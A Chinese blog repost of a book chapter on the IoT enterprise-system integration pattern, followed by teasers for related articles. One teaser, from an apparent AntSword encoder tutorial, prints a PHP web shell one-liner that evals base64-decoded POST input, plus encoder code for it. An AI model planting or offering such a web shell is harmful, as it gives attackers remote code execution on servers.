第3章.中央服务器的物联网模式--企业系统集成

news2024/11/27 10:28:26

        为了从物联网实施中获得最大价值,物联网系统需要与企业中的现有软件系统集成。事实上,与外部系统的集成允许网络世界和物理世界之间的交互——代表物理世界的物联网系统和驻留在网络/虚拟世界中的外部系统。用于此模式的符号如下图所示:

图3.12——外部系统集成模式的符号


        与任何一般集成的情况一样,物联网系统与另一个企业或遗留系统的集成所带来的好处远远超过了这些系统单独运行时的好处(整体大于各部分的总和)。集成可以实现端到端工作流的自动化,消除数据的重复性,提高决策质量,或消除依赖过时数据的可能性。
        物联网和其他企业系统之间的数据同步可以通过数据推送器或数据拉出器实现。这种集成的性质和级别将因域而异,也因用例而异。例如,与工业用例相比,家庭自动化用例往往不太需要与其他系统集成。由于物联网的实施实现了自动化,因此往往会取代或增强现有的工作流程、流程等,因此物联网数据需要插入现有的工作流和流程是很自然的。由于现有工作流是建立在现有或遗留系统之上的,因此迫切需要进行企业集成。
        调用集成逻辑的频率将取决于多个因素,例如用例需求和数据同步操作引入的开销。根据要求,同步可以在同步模式(实时同步)下进行,也可以在批处理模式下启用,在批处理方式下,操作以计划的频率和时间运行。通常,这种集成是在没有任何最终用户直接参与的情况下启用的。
物联网系统通常与以下类型的外部系统集成:

  • 客户关系管理(CRM)系统
  • 供应链管理系统
  • 商业智能和分析
  • 人力资源数据
  • 存储设备或用户元数据的系统
  • 企业资源规划系统

提供辅助信息(如天气信息或卫星图像)的系统,可以增强或完善物联网数据产生的见解
集成需求是通过调用企业系统公开的API来实现的。在这样的集成API不可用的场景中,会在遗留系统上创建一个包装器,然后可以封装遗留系统的细微差别。
外部系统可以对本地和全局规则引擎进行补充,如下图所示:

图3.13-与外部系统集成的需求可能存在于本地和全局规则引擎级别


物联网系统可以通过多种方式(取决于应用程序和用例需求)与其他外部系统集成。
尽管下图显示了与全局规则引擎的集成,但在本地规则引擎级别也可以进行类似的集成:

图3.14-可能与外部系统集成的类型


现在让我们来看一下模式摘要。
模式摘要
企业系统集成的模式总结如下:
解决的问题:
商业
将物联网数据与现有企业应用程序集成,其好处如下:
a) 更好的洞察力和决策能力
b) 更准确的业务见解
c) 由于数据核对工作减少而导致的成本或工作量减少
构思和开发更丰富、更具创新性的用例
通过自动化现有的工作流程和流程,相对于强制安装全新的工具、流程和工作流程,加速企业的数字化转型之旅
通过使用设备元数据(来自企业系统)实现数据清理和数据处理
技术的

  • 在系统之间同步数据
  • 多种集成选项的选择,如同步、定时、基于代理等
  • 实现数据级和应用程序级集成
  • 调度集成,用于在非高峰时段处理计算密集型工作负载
  • 实现实时和批量集成的灵活性
  • 使用基于代理的集成将核心物联网系统的演变与下游外部系统解耦
  • 尽快标记和修正不同系统之间的数据差距。
  • 用法上下文:
  • 物联网数据需要推送到现有的外部、企业或遗留系统。
  • 物联网数据需要通过从外部系统提取数据来丰富元数据。
  • 外部系统的工作流程从一个阶段过渡到另一个阶段是基于物联网系统报告的传感器信息。
  • 离线数据集成(如从一个系统导出的数据,然后使用两步过程将其导入另一个系统)既不实用也不合适。

示例使用场景:

  • 工人安全用例:从员工数据库(例如,人力资源管理外部系统)中提取员工的个人数据,以通知主管工人是否摔倒(通过跌倒传感器检测到)。
  • 智能制造用例:可用零件的数量低于定义的阈值;需要通过从供应商管理系统(VMS)获得供应商信息来发起新鲜供应的订单。

模式原理:
物联网数据的价值有限,除非它被丰富或与其他企业数据源集成。
物联网系统感测环境(和/或该环境中实体的状况)并生成事件,这些事件被输入外部系统以触发工作流程阶段转换(例如,在入口检测到货物的情况下,启动收货通知单(GRN))。


相关模式:
规则引擎(用于触发企业工作流)
AI/ML集成,用于预测事件和趋势(例如,供应和需求趋势),并触发主动行动而非被动行动
假设:
承载规则引擎的系统能够处理额外的负载,以支持集成需求。
外部系统公开接口(例如,API)以满足数据集成需求。
注意事项:
需要根据当前和未来的需求选择最佳集成类型
根据数据并发、最终用户期望和非高峰负载窗口等因素选择理想的同步频率
最大限度地减少对外部系统的影响
反模式场景:
组织可以容忍孤立数据收集/分析的场景。

总结

本章介绍了通常部署在中央服务器上的体系结构模式(AI/ML集成、规则引擎、文件上传和企业系统集成)。本章中的模式以及前几章中详细介绍的模式将使您能够构建任何物联网应用程序。接下来的章节将向我们展示如何将这些模式组合在一起以解决不同领域的复杂问题的示例,从下一章开始,我们将讨论消费者领域的两个具体用例——家庭自动化和智能煮蛋器——并了解如何将我们之前了解的架构模式应用于开发有趣的用例。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1903385.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【高录用、快检索、过往5届均已检索、SPIE 出版】第六届无线通信与智能电网国际会议(ICWCSG 2024)

随着科技的飞速发展和能源需求的日益增长,智能电网技术逐渐成为电力行业的重要发展方向。与此同时,无线通信技术在近年来也取得了显著的进步,为智能电网的发展提供了强有力的支持。为了进一步推动无线通信与智能电网的结合与发展,…

微软拼音输入法不显示选字框问题

问题展示:不显示选字框 解决方式 打开兼容性即可(估计是升级带来的bug)

Oracle RAC 19c 打补丁至最新版本-19.23.0.0.0

实验环境-我是从19.0.0.0直接打到19.23.0.0.0,适合刚部署好的集群打补丁直接到最新版本。 查看当前环境 查询集群中运行的 Oracle Clusterware 软件的 activex 版 查询本地节点上二进制文件中存储的 Oracle Clusterware 软件的版本 查询本地服务器上 OHAS 和 Oracle…

Redis数据结构解析-RedisObject

文章目录 ☃️概述☃️源码 ☃️概述 RedisObject 是 Redis 中表示数据对象的结构体,它是 Redis 数据库中的基本数据类型的抽象。在 Redis 中,所有的数据都被存储为 RedisObject 类型的对象。 RedisObject 结构体定义如下(简化版本&#xf…

七大排序-冒泡排序,插入排序,希尔排序(一)

目录 排序冒泡排序插入排序冒泡排序和插入排序的对比希尔排序 排序 先写单趟,再写多趟,这样比较好写 排序可以理解为对商品价格的排序,对数字大小的排序,排序再生活中随处可见 冒泡排序 冒泡排序就是两个相邻的数交换&#xff…

Java+MySQL8.0.36+ElementUI数字化产科信息管理系统之”五色管理”

JavaMySQL8.0.36ElementUI数字化产科信息管理系统之”五色管理” 一、数字化产科信息管理系统概述 数字化产科信息管理五色管理是一种基于孕产妇妊娠风险的分类管理方法,通过数字化手段实现孕产妇全周期的健康风险评估与管理。该方法将孕产妇按照风险等级分为绿色、…

初识STM32:芯片基本信息

STM32简介 STM32是ST公司基于ARM公司的Cortex-M内核开发的32位微控制器。 ARM公司是全球领先的半导体知识产权(IP)提供商,全世界超过95%的智能手机和平板电脑都采用ARM架构。 ST公司于1987年由意大利的SGS微电子与法国的Thomson半导体合并…

LeetCode题练习与总结:直线上最多的点数--149

一、题目描述 给你一个数组 points ,其中 points[i] [xi, yi] 表示 X-Y 平面上的一个点。求最多有多少个点在同一条直线上。 示例 1: 输入:points [[1,1],[2,2],[3,3]] 输出:3示例 2: 输入:points [[1,…

蚁剑编码器编写——上篇

参考 AwesomeEncoder 以第一个为例 木马 <?php eval(base64_decode($_POST[ant]));?>获取ant参数内容&#xff0c;然后base64解码后运行 编码器 let randomID _0x${Math.random().toString(16).substr(2)}; data[randomID] new Buffer(data[_]).toString(base64)…

前端八股文 说一下盒模型

网页中任何一个元素都可以视为一个盒子&#xff0c;由里到外&#xff0c;盒模型包括外边界&#xff08;margin&#xff09;、边框&#xff08;border&#xff09;、内边界&#xff08;padding&#xff09;和内容&#xff08;content&#xff09;。 盒模型基本分为3种&#xff1…

高可用hadoop分布式节点的扩容

解决方案 修改hdfs-site.xml 文件 原xml文件 <?xml version"1.0" encoding"UTF-8"?> <?xml-stylesheet type"text/xsl" href"configuration.xsl"?> <!--Licensed under the Apache License, Version 2.0 (th…

基于vue的3D高德地图的引入

在引入高德地图的时候需要先注册一个账号 登录下面的网站 账号认证 | 高德控制台 (amap.com) 打开首页应用管理&#xff0c;我的应用 创建新的应用 根据自己的需求进行选择 创建完成之后&#xff0c;点击添加key 不同的服务平台对应不同的可使用服务&#xff0c;选择自己适…

微信小程序毕业设计-医院挂号预约系统项目开发实战(附源码+论文)

大家好&#xff01;我是程序猿老A&#xff0c;感谢您阅读本文&#xff0c;欢迎一键三连哦。 &#x1f49e;当前专栏&#xff1a;微信小程序毕业设计 精彩专栏推荐&#x1f447;&#x1f3fb;&#x1f447;&#x1f3fb;&#x1f447;&#x1f3fb; &#x1f380; Python毕业设计…

webrtc gcc详解

webrtc的gcc算法(Google Congestion Control)&#xff0c;貌似国内很多文章都没有细讲&#xff0c;原理是怎么样的&#xff0c;具体怎么进行计算的。这里详解一下gcc。 gcc算法&#xff0c;主要涉及到&#xff1a; 拥塞控制的关键信息和公式 卡曼滤波算法 gcc如何使用卡曼滤…

iis部署前后端分离项目(React前端,Node.js后端)

iis虽然已经有点过时&#xff0c;但不少用户还在用&#xff0c;故总结一下。 1. 安装iis 如果电脑没有自带iis管理器&#xff0c;打开控制面板->程序->启用或关闭Windows功能&#xff0c;勾选iis安装即可 2. 部署前端项目 打开iis&#xff0c;添加网站&#xff0c;物理…

JAVA的线性表数据结构的超详解

目录 顺序表的顺序存储结构 1.数组 2.顺序表 顺序表的声明&#xff0c;存储操作以及效率分析 1.泛型类 2.顺序表的插入操作 3. 顺序表的删除操作 4.顺序表查询操作 5.顺序表的应用 线性表的链式存储结构 单链表的基本操作 顺序表的顺序存储结构 数组是实现顺序存储…

java项目总结5

1.单列集合顶层接口Collction 集合体系结构 注意&#xff1a;因为Collection定义的方法是共性的&#xff0c;使用不能通过搜引来删除&#xff0c;只能通过元素的对象进行删除&#xff0c;返回值是boolean类型。例如我添加了"aaa"进List集合&#xff0c;删除则要对象…

开放式耳机哪个牌子好?悠律、漫步者、韶音全面对比与推荐

对于现在的无线耳机市场而言&#xff0c;开放式耳机迎来的真正的大爆发&#xff0c;关键的是它采用了定向传声方式&#xff0c;我们在运动时除了可以感受到音乐带来的快乐外&#xff0c;还能时刻保持对外界环境音的警觉。 今天&#xff0c;我们将为大家详细对比推荐三款备受瞩…

TCP的p2p网络模式

TCP的p2p网络模式 1、tcp连接的状态有以下11种 CLOSED&#xff1a;关闭状态LISTEN&#xff1a;服务端状态&#xff0c;等待客户端发起连接请求SYN_SENT&#xff1a;客户端已发送同步连接请求&#xff0c;等待服务端相应SYN_RECEIVED&#xff1a;服务器收到客户端的SYN请请求&…

2024年世界人工智能大会(WAIC)各大佬的精彩发言

2024年世界人工智能大会&#xff08;WAIC&#xff09;在上海举行&#xff0c;受到了广泛关注和参与。以下是大会首日的主要观点和议题的总结&#xff1a; AI 应用落地&#xff1a;大会讨论了AI应用如何落地&#xff0c;即如何在当前阶段利用大模型技术实现实际应用。 AI 安全&…